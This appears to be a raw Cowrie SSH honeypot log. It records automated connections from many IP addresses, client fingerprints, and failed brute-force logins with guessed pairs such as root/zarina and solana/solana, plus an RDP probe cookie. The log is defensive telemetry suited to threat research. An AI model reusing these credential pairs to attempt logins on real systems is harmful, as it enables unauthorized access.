{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:08.525224Z","src_ip":"2.57.122.238","session":"d4ad4737527a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:08.841026Z","src_ip":"2.57.122.238","session":"d4ad4737527a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:09.949709Z","src_ip":"2.57.122.238","session":"d4ad4737527a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35640,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cd77b782d8","protocol":"ssh","message":"New connection: 38.93.206.2:35640 (10.17.0.5:22) [session: b9cd77b782d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:26.905959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:26.910731Z","src_ip":"38.93.206.2","session":"b9cd77b782d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:26.961282Z","src_ip":"38.93.206.2","session":"b9cd77b782d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zarina","message":"login attempt [root/zarina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:27.156619Z","src_ip":"38.93.206.2","session":"b9cd77b782d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:28.209546Z","src_ip":"38.93.206.2","session":"b9cd77b782d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3d07c4b53b6","protocol":"ssh","message":"New connection: 176.65.148.108:34724 (159.203.135.109:22) [session: f3d07c4b53b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.250077Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.334387Z","src_ip":"176.65.148.108","session":"f3d07c4b53b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":34736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f168c0ef1e0f","protocol":"ssh","message":"New connection: 176.65.148.108:34736 (159.203.135.109:22) [session: f168c0ef1e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.412739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.418063Z","src_ip":"176.65.148.108","session":"f168c0ef1e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.500280Z","src_ip":"176.65.148.108","session":"f168c0ef1e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"111111","message":"login attempt [a/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:40.745632Z","src_ip":"176.65.148.108","session":"f168c0ef1e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:41.831678Z","src_ip":"176.65.148.108","session":"f168c0ef1e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1335a30dac4","protocol":"ssh","message":"New connection: 109.172.54.111:60274 (10.17.0.5:22) [session: f1335a30dac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:54.118377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:54.123428Z","src_ip":"109.172.54.111","session":"f1335a30dac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:54.221449Z","src_ip":"109.172.54.111","session":"f1335a30dac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321z","message":"login attempt [root/123321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:54.508655Z","src_ip":"109.172.54.111","session":"f1335a30dac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:55.606695Z","src_ip":"109.172.54.111","session":"f1335a30dac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":57666,"dst_ip":"159.203.135.109","dst_port":22,"session":"4455cfce2442","protocol":"ssh","message":"New connection: 103.183.114.55:57666 (159.203.135.109:22) [session: 4455cfce2442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:11.622181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:11.628131Z","src_ip":"103.183.114.55","session":"4455cfce2442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:11.845526Z","src_ip":"103.183.114.55","session":"4455cfce2442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56252,"dst_ip":"10.17.0.5","dst_port":22,"session":"560bb31a2b54","protocol":"ssh","message":"New connection: 80.94.92.184:56252 (10.17.0.5:22) [session: 560bb31a2b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:11.858729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:12.082130Z","src_ip":"80.94.92.184","session":"560bb31a2b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:12.086200Z","src_ip":"80.94.92.184","session":"560bb31a2b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alisa","message":"login attempt [root/alisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:12.734920Z","src_ip":"103.183.114.55","session":"4455cfce2442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:13.959000Z","src_ip":"103.183.114.55","session":"4455cfce2442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:14.450119Z","src_ip":"80.94.92.184","session":"560bb31a2b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:15.680368Z","src_ip":"80.94.92.184","session":"560bb31a2b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45950,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a294f22822f","protocol":"ssh","message":"New connection: 193.37.70.224:45950 (159.203.135.109:22) [session: 2a294f22822f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:24.811175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:24.815798Z","src_ip":"193.37.70.224","session":"2a294f22822f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:24.909213Z","src_ip":"193.37.70.224","session":"2a294f22822f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita12","message":"login attempt [root/nikita12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:25.190193Z","src_ip":"193.37.70.224","session":"2a294f22822f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:26.287576Z","src_ip":"193.37.70.224","session":"2a294f22822f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54469,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace4fe4f5d46","protocol":"ssh","message":"New connection: 152.42.212.128:54469 (159.203.135.109:22) [session: ace4fe4f5d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:26.411968Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:26.417217Z","src_ip":"152.42.212.128","session":"ace4fe4f5d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:26.420978Z","src_ip":"152.42.212.128","session":"ace4fe4f5d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58230,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadb6ddff058","protocol":"ssh","message":"New connection: 147.45.197.250:58230 (159.203.135.109:22) [session: dadb6ddff058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:33.773939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:33.778883Z","src_ip":"147.45.197.250","session":"dadb6ddff058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:33.873016Z","src_ip":"147.45.197.250","session":"dadb6ddff058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777","message":"login attempt [root/7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:34.154279Z","src_ip":"147.45.197.250","session":"dadb6ddff058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:35.251808Z","src_ip":"147.45.197.250","session":"dadb6ddff058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44998,"dst_ip":"10.17.0.5","dst_port":22,"session":"357bd26c0f71","protocol":"ssh","message":"New connection: 45.148.10.121:44998 (10.17.0.5:22) [session: 357bd26c0f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:53.679178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:26:53.684605Z","src_ip":"45.148.10.121","session":"357bd26c0f71","protocol":"ssh"}
